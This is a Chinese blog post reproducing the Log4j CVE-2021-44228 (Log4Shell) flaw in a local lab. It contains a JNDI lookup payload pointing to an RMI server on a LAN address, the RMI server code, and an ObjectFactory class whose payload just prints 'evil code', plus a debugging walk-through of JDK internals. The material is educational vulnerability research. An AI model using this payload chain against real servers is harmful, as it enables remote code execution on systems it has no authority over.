【漏洞复现】Log4j CVE-2021-44228
2024-10-01 15:22:24

Log4j 依赖版本

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>

也贴一下log4j的配置文件,和漏洞没有联系

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

漏洞复现

Log4jTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Test {

private static final Logger LOGGER = LogManager.getLogger();

public static void main(String[] args) {
String foo = "bar";
String os = "${java:os}";
LOGGER.info("foo, {}!", foo);
LOGGER.info("os, {}!", os);
}
}

上述代码执行结果:

1
2
23:18:16.262 [main] INFO  org.example.Log4j2Test - foo, bar!
23:18:16.264 [main] INFO org.example.Log4j2Test - os, Mac OS X 13.3.1 unknown, architecture: x86_64-64!

可以看到 LOGGER.info("os, {}!", os); 这段代码并不是将字符串打印出来,而是将其认为是代码再执行了一次,获取了系统信息。这是Log4j为了开发者使用方便而提供的一个功能。而这也带来了安全问题。

攻击者可以构造恶意的RMI请求,向服务器发送请求并执行恶意代码。该攻击属于JNDI攻击,通过RMI请求将恶意代码注入到服务器中。

RMI (Remote Method Invocation) 是 Java 中用于实现远程过程调用的机制。它允许在不同的 Java 虚拟机(JVM)之间进行通信,并调用远程对象上的方法,就像调用本地对象的方法一样。

Log4jTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Test {

private static final Logger LOGGER = LogManager.getLogger();

public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String rmi = "${jndi:rmi://192.168.31.120:1099/evil}";
LOGGER.info("rmi, {}!", rmi);
}
}

RMI服务端代码 RmiServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();

System.out.println("Create RMI registry on port 1099");

Reference reference = new Reference("com.example.rmi.EvilObj", "org.example.rmi.EvilObj", "");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("evil", wrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

恶意代码 EvilObj.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilObj implements ObjectFactory {

static {
System.out.println("evil code");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new EvilObj();
}
}

先起 RMI 服务,再起 Log4jTest.java,可以看到 Log4jTest.java 的控制台输出了 RMI 服务的恶意代码。

复现时遇到的问题

JDK版本过高

JDK在各个大版本中的某些小版本后将如 com.sun.jndi.rmi.object.trustURLCodebase 默认值改为 false,导致启动报错,按照上述代码设置将该值改为 true即可。

无法获取远程对象

这时的 EvilObj.java 代码是这样的:

1
2
3
4
5
public class EvilObj {
static {
System.out.println("evil code");
}
}

没有实现 ObjectFactory 接口。

看别人复现时也没有实现这个接口,但是就是可以的。

表现形式如图:

可以看出对象并没有实例化出来,静态代码块也没有执行。

或者是报错

1
Error looking up JNDI resource [rmi://192.168.31.120:1099/evil]. javax.naming.NamingException [Root exception is java.lang.ClassCastException: org.example.rmi.EvilObj cannot be cast to javax.naming.spi.ObjectFactory]

在写文章之前 只有第一个问题,但是复现不了,而是出现了第二个问题。但是都是同样的解决方式。

根据JDK版本过高的导致报错可以到其中源码查看对象是如何实例化的。报错的位置是 com.sun.jndi.rmi.registry.RegistryContext.decodeObject

  1. 在这处报错其实就可以看到JDK版本过高,将该值默认关闭了,打开就好。
  2. getObjectInstance 见名知意,就是实例化对象用的。

可以看到var3就是在RMI中的Reference对象。

1
Reference reference = new Reference("com.example.rmi.EvilObj", "org.example.rmi.EvilObj", "");

再进入这个方法看看,这个方法可以简单的分为两部分。

  1. 第一部分去拿设置在 NamingManager 中的对象实例化工厂,去实例化对象。但是没有拿到工厂对象,是一个 null
  2. 所以到了第二步,第二步是去 Reference 对象中拿取工厂对象,然后去实例化对象。而这个其实是有点眼熟的。可以看下 Reference 的构造方法。

该构造方法是需要传入对象工厂的。

再进入获取对象工厂的方法 getObjectFactoryFromReference 中看看实现,有这么一个 ObjectFactory 的强转操作,即没有实现这个接口就会报上面说的强转失败报错。

获取工厂成功后,就调用实现接口的 getObjectInstance 方法去实例化对象。

参考